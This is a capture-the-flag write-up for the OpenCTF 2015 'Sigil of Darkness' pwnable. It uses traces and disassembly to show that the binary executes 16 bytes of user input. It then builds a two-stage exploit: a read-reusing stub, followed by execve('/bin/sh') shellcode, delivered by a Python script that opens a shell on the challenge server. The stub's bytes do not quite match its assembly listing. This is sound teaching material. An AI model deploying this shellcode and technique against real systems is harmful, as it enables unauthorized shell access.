OpenCTF 2015 - Sigil of Darkness (binary,exploitation,pwnable 200) Writeup
Hint:
Sigil of Darkness 200 — simplicity is beauty
Service: 10.0.66.72:6611 Binary: 172.16.18.20/sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d
Sigil of darkness was a 64-bit ELF executable exploit challenge. Finding the memory corruption was trivial enough but the exploit itself was fun and interesting because the binary only read 16 bytes from stdin, which is a relatively small payload. For reference, the smaller execve('/bin/sh') shellcodes from shell-storm are about 33 bytes.
{language=python}
$ file sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d
sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7cdb94f1b78249d4b1148f6450c207dc469c68e0, stripped
$ ctf-payload -a100 | ltrace -if ./sigil_of_darkness
[pid 4783] [0x4004f9] __libc_start_main(0x4005bd, 1, 0x7fffa9d02a68, 0x400640 <unfinished ...>
[pid 4783] [0x4005f1] mmap(0, 255, 7, 34) = 0x7f34b7c14000
[pid 4783] [0x40060b] memset(0x7f34b7c14000, '\0', 255) = 0x7f34b7c14000
[pid 4783] [0x400621] read(0, "AAAAAAAAAAAAAAAA", 16) = 16
[pid 4783] [0x7f34b7c14000] --- SIGSEGV (Segmentation fault) ---
[pid 4783] [0xffffffffffffffff] +++ killed by SIGSEGV +++
In the trace you can see the 16-byte read is followed by SIGSEGV, so we suspect this is a typical stack overflow. However, the fact that RIP is at 0x7f34b7c14000 is suspicious because it’s the return value from mmap (the address of newly mapped memory region, which is not on the stack). So we take a look at the disassembly to see what’s going on.
{language=python}
$ objdump -d -j .text -M intel sigil_of_darkness-f797aea901a1e5c71ea15304e72b892d
4005d8: b9 22 00 00 00 mov ecx,0x22
4005dd: ba 07 00 00 00 mov edx,0x7
4005e2: be ff 00 00 00 mov esi,0xff
4005e7: bf 00 00 00 00 mov edi,0x0
4005ec: e8 8f fe ff ff call 400480 <mmap@plt>
4005f1: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4005f5: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4005f9: ba ff 00 00 00 mov edx,0xff
4005fe: be 00 00 00 00 mov esi,0x0
400603: 48 89 c7 mov rdi,rax
400606: e8 85 fe ff ff call 400490 <memset@plt>
40060b: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40060f: ba 10 00 00 00 mov edx,0x10
400614: 48 89 c6 mov rsi,rax
400617: bf 00 00 00 00 mov edi,0x0
40061c: e8 7f fe ff ff call 4004a0 <read@plt>
400621: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400625: b8 00 00 00 00 mov eax,0x0
40062a: ff d2 call rdx
40062c: b8 00 00 00 00 mov eax,0x0
400631: c9 leave
400632: c3 ret
The relevant part of the disassembly is the call to read and the 3 instructions that follow.
{language=python}
40060b: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
40060f: ba 10 00 00 00 mov edx,0x10
400614: 48 89 c6 mov rsi,rax
400617: bf 00 00 00 00 mov edi,0x0
40061c: e8 7f fe ff ff call 4004a0 <read@plt>
400621: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400625: b8 00 00 00 00 mov eax,0x0
40062a: ff d2 call rdx
I used gdb to verify that $rax points to the address which contains the user input. Remember that this is a 64-bit binary, so the calling convention is that arguments are put into the registers (not on the stack like 32-bit). The calling convention for 64-bit binaries is that arguments are passed in the registers RDI, RSI, RDX, RCX, R8, and R9 respectively. Interpreting the disassembly as pseudo-code we have:
{language=python}
$rax = $user_input
read(0, $rax, 0x10)
$rdx = $user_input
call $rdx
In other words, the user input is read into a buffer and then called! It’s not smashing the stack, it simply executes whatever shellcode you provide. However, there is a catch and this is where things get fun - it only reads 16 bytes. ;) Because 16 bytes is not enough room for typical shellcode, the payload will have to be custom.
My solution to this pwnable was to re-use the read() call to read in a larger buffer (the second stage of our exploit). Because the offsets in the binary are static all we need to do is set RDI, RSI, and RDX appropriately and jump back to 0x40061c. This will call read() again, which will read in our larger buffer, and then call it (again), which is awesome.
So we want read(0, &buff, 0x100)
to read 0x100 bytes instead of 16.
In order to save space in our payload, I decided to jump back to 0x400614 so that main() would setup EDI for me. This means we only have to setup RSI and EDX. Note that RSI is set from RAX.
The following assembly is what I came up with to set the registers and jump back to read. There are a handful of ways to jump or call into another part of code, but I chose “push address; ret;” because it works well and requires fewer opcodes than some of the alternatives, but other approaches may also have worked. Also note that because local variables are referenced from EBP, instead of ESP, I was assuming that that I could get the address of the user input (which changes at runtime) using the same reference from the disassembly above ($rbp-0x8).
Using your assembler of choice (or https://defuse.ca/online-x86-assembler.htm) we get the following first-stage payload:
{language=asm}
48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
ba 00 01 00 00 mov edx,0x100
68 14 06 40 00 push 0x400614
c3 ret
Which makes our fist stage shellcode exactly 15-bytes so we’ll need to pad it with one byte so the second stage is correctly aligned. Here is the final solution:
{language=python}
1 if __name__=='__main__':
2
3 import sys
4 from libctf import *
5
6 # 64 bit execve(/bin/sh) shellcode
7 # http://shell-storm.org/shellcode/files/shellcode-806.php
8 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
9
10 # the first stage of the payload
11 setup = "\x48\x8b\x45\xf8\xba\x00\xff\x00\x00\x68\x14\x06\x40\x00\xC3"
12
13 # pad to len 16 bytes
14 setup += "\x90"
15
16 # the final payload
17 payload = setup + shellcode
18
19 # and pwn the server
20 s = Sock("10.0.66.72",6611)
21 s.send(payload)
22 s.interact()
Flag: So_that_might_have_given10s_moreFFRT